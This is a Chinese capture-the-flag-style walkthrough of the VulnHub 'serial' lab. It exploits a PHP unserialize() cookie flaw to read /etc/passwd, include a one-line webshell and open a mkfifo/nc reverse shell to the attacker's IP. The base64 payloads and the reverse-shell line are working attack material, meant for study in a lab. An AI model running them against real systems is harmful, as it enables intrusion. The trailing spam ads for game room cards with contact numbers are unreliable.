反序列化靶机实战serial(保姆级教程)
创始人
2024-10-22 03:42:01
0

一.信息收集

靶机地址下载:https://download.vulnhub.com/serial/serial.zip

打开靶机,在kali虚拟机中进行主机存活探测

可以知道靶机ip地址为192.168.133.171

然后扫描端口 可以发现有一个22端口跟80端口

然后接下来用kali扫描它的目录 

可以发现有一个可访问的目录 我们去访问一下

访问之后backup目录下有一个bak.zip 下载下来

下载下来之后有三个文件  分析一下

index.php

    include("user.class.php");

    if(!isset($_COOKIE['user'])) {
        setcookie("user", base64_encode(serialize(new User('sk4'))));
    } else {
        unserialize(base64_decode($_COOKIE['user']));
    }
    echo "This is a beta test for new cookie handler\n";
?>

log.class.php

  class Log {
    private $type_log;

    function __costruct($hnd) {
      $this->$type_log = $hnd;
    }

    public function handler($val) {
      include($this->type_log);
      echo "LOG: " . $val;
    }
  }
?>

user.class.php

  include("log.class.php");

  class Welcome {
    public function handler($val) {
      echo "Hello " . $val;
    }
  }

  class User {
    private $name;
    private $wel;

    function __construct($name) {
      $this->name = $name;
      $this->wel = new Welcome();
    }

    function __destruct() {
      //echo "bye\n";
      $this->wel->handler($this->name);
    }
  }

?>

 提示cookie,burpsuite抓包看一下cookie

cookie那里有一串base64加密的 解密一下

base64解码得到序列化后字段是

O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}

 然后我们构造payload 读取/etc/passwd文件

O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')

base64编码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjg6InR5cGVfbG9nIjtzOjExOiIvZXRjL3Bhc3N3ZCI7fX0=

 然后再次抓包 打开用burp的repeater

将加密后的替换一下 就可以看到  然后成功包含  看到有一个sk4用户可登陆

get shell

构造序列化语句上传shell

生成一个shell放在本地网站下

然后构造payload,尝试读取passwd文件,payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马

wel = new Log();   } } $obj = new User(); echo base64_encode(serialize($obj)); 

然后去访问自己新创建的php 我这里用的是7.php 打开就看到他的base64编码

然后去抓包 把访问7.php得到的base64编码 替换cookie

成功执行

开始反弹shell

rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>&1|nc+1192.168.133.163+6666+>/tmp/f

将上述代码url编码后填入参数位置

然后在kali里开启监听监听成功 

在攻击模块发送 成功获取shell

查看文件,多返回几次上级目录,找到一个txt文件

查看文件得到他的账号跟密码

最后在远程连接 成功进入

相关内容

热门资讯

科技实测!牛牛房卡怎么获得光明... 科技实测!牛牛房卡怎么获得光明联盟//全网房卡低价售Sa9Ix苹果iPhone 17手机即将进入量产...
正规平台有哪些,游戏微信牛牛房... 豌豆互娱房卡更多详情添加微:33549083、 2、在商城页面中选择房卡选项。 3、根...
玩家攻略,牛牛房卡制作链接玫天... 玫天爱玩是一款非常受欢迎的棋牌游戏,咨询房/卡添加微信:【3329006910】或QQ:332900...
玩家攻略,金花房卡专卖店新竹大... 您好!微信新竹大厅大厅链接获取房卡可以通过以下几种方式购买: 1.微信渠道:(新竹大厅)大厅介绍:...
头条推荐!牛牛充值房卡红桃众娱... 今 日消息,红桃众娱房卡添加微信33549083 苹果今日发布了 iOS 16.1 正式版更新,简单...
重大通报,牛牛房卡批发平台天道... 重大通报,牛牛房卡批发平台天道联盟/房卡官方正版房卡代理Sa9Ix苹果iPhone 17手机即将进入...
头条推荐!牛牛房卡游戏平台加盟... 头条推荐!牛牛房卡游戏平台加盟新蛮王/房卡价格表多少钱一张新蛮王是一款非常受欢迎的游戏,咨询房/卡添...
科技实测!游戏微信牛牛房卡盘古... 盘古大厅是一款非常受欢迎的棋牌游戏,咨询房/卡添加微信:【3329006910】或QQ:332900...
玩家攻略,金花房卡出售芝麻大厅... 玩家攻略,金花房卡出售芝麻大厅/微信链接房卡从哪里获取Sa9Ix苹果iPhone 17手机即将进入量...
推荐一款!金花房卡官网趣游联盟... 您好!微信趣游联盟大厅链接获取房卡可以通过以下几种方式购买: 1.微信渠道:(趣游联盟)大厅介绍:...
正规平台有哪些,牛牛房卡制作链... 您好!微信九酷众娱大厅链接获取房卡可以通过以下几种方式购买: 1.微信渠道:(九酷众娱)大厅介绍:...
重大通报,牛牛房卡制作链接光明... 今 日消息,光明联盟房卡添加微信33549083 苹果今日发布了 iOS 16.1 正式版更新,简单...
ia攻略/斗牛房间怎么创建的火... 火狐大厅/新超圣房卡更多详情添加微:33549083、 2、在商城页面中选择房卡选项。 ...
头条推荐!金花房卡代理零售新海... 头条推荐!金花房卡代理零售新海贝/青鸟大厅/房卡批发市场价格表新海贝/青鸟大厅是一款非常受欢迎的游戏...
科技实测!金花房卡代理零售新竹... 新竹大厅是一款非常受欢迎的棋牌游戏,咨询房/卡添加微信:【3329006910】或QQ:332900...
科技实测!牛牛房卡怎么购买复仇... 科技实测!牛牛房卡怎么购买复仇者联盟//全网房卡低价售Sa9Ix苹果iPhone 17手机即将进入量...
IA解析/金花房卡出售白虎大厅... 您好!微信白虎大厅大厅链接获取房卡可以通过以下几种方式购买: 1.微信渠道:(白虎大厅)大厅介绍:...
正规平台有哪些,斗牛房间怎么创... 鸿狐大厅房卡更多详情添加微:33549083、 2、在商城页面中选择房卡选项。 3、根...
玩家攻略,金花房卡官网龙马大厅... 玩家攻略,金花房卡官网龙马大厅/房卡链接怎么弄的龙马大厅是一款非常受欢迎的游戏,咨询房/卡添加微信:...
一分钟了解!金花房间怎么创建长... 长虹大厅是一款非常受欢迎的棋牌游戏,咨询房/卡添加微信:【3329006910】或QQ:332900...